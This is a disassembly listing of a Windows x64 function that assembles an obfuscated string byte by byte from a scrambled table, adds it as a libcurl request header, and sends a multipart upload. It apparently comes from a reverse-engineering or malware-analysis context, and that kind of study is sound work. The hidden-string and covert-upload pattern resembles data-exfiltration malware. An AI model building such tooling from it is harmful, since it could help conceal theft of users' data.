mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x41
mov ecx, 1
imul rcx, rcx, 0x48
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xb
mov ecx, 1
imul rcx, rcx, 0x22
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x29
mov ecx, 1
imul rcx, rcx, 0x51
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3e
mov ecx, 1
imul rcx, rcx, 0xf
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x14
mov ecx, 1
imul rcx, rcx, 0x34
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x29
mov ecx, 1
imul rcx, rcx, 0x20
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x21
mov ecx, 1
imul rcx, rcx, 0x1d
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3d
mov ecx, 1
imul rcx, rcx, 0x29
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xe
mov ecx, 1
imul rcx, rcx, 0x30
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3c
mov ecx, 1
imul rcx, rcx, 0x26
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x17
mov ecx, 1
imul rcx, rcx, 0x37
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3e
mov ecx, 1
imul rcx, rcx, 0x39
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x35
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3c
mov ecx, 1
imul rcx, rcx, 0x45
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xd
mov ecx, 1
imul rcx, rcx, 2
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x31
mov ecx, 1
imul rcx, rcx, 0x3f
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x18
mov ecx, 1
imul rcx, rcx, 0x1f
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x39
mov ecx, 1
imul rcx, rcx, 0x42
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x15
mov ecx, 1
imul rcx, rcx, 0x41
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x30
mov ecx, 1
imul rcx, rcx, 0x4c
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x20
mov ecx, 1
imul rcx, rcx, 0x3a
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1b
mov ecx, 1
imul rcx, rcx, 0x15
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x17
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x43
mov ecx, 1
imul rcx, rcx, 0x2e
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x26
mov ecx, 1
imul rcx, rcx, 0x1c
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xd
mov ecx, 1
imul rcx, rcx, 0x11
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.libcurl_d.dll_curl_slist_append]
mov qword [rbp + 0x138], rax
mov dword [rbp + 0x1e4], 0
jmp 0x1400142b6
mov eax, dword [rbp + 0x1e4]
inc eax
mov dword [rbp + 0x1e4], eax
cmp dword [rbp + 0x1e4], 0x5c
jge 0x1400142d3
movsxd rax, dword [rbp + 0x1e4]
mov rcx, qword [rbp + 0x1c8]
mov byte [rcx + rax], 0
jmp 0x1400142a8
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov r8, qword [rbp + 0x138]
mov edx, 0x2727
mov rcx, qword [rbp + 8]
call qword [sym.imp.libcurl_d.dll_curl_easy_setopt]
nop
mov r8, qword [rbp + 0xf8]
mov edx, 0x281d
mov rcx, qword [rbp + 8]
call qword [sym.imp.libcurl_d.dll_curl_easy_setopt]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.libcurl_d.dll_curl_easy_perform]
mov dword [rbp + 0x24], eax
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.libcurl_d.dll_curl_slist_free_all]
nop
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.libcurl_d.dll_curl_mime_free]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.libcurl_d.dll_curl_easy_cleanup]
nop
mov edx, 8
mov rcx, qword [rbp + 0x138]
call fcn.1400015dc
nop
call qword [sym.imp.libcurl_d.dll_curl_global_cleanup]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140023d60]
call fcn.1400016e5
mov rax, rdi
mov rcx, qword [rbp + 0x2b8]
xor rcx, rbp
call fcn.1400013e8
lea rsp, [rbp + 0x2c0]
pop rdi
pop rsi
pop rbp
ret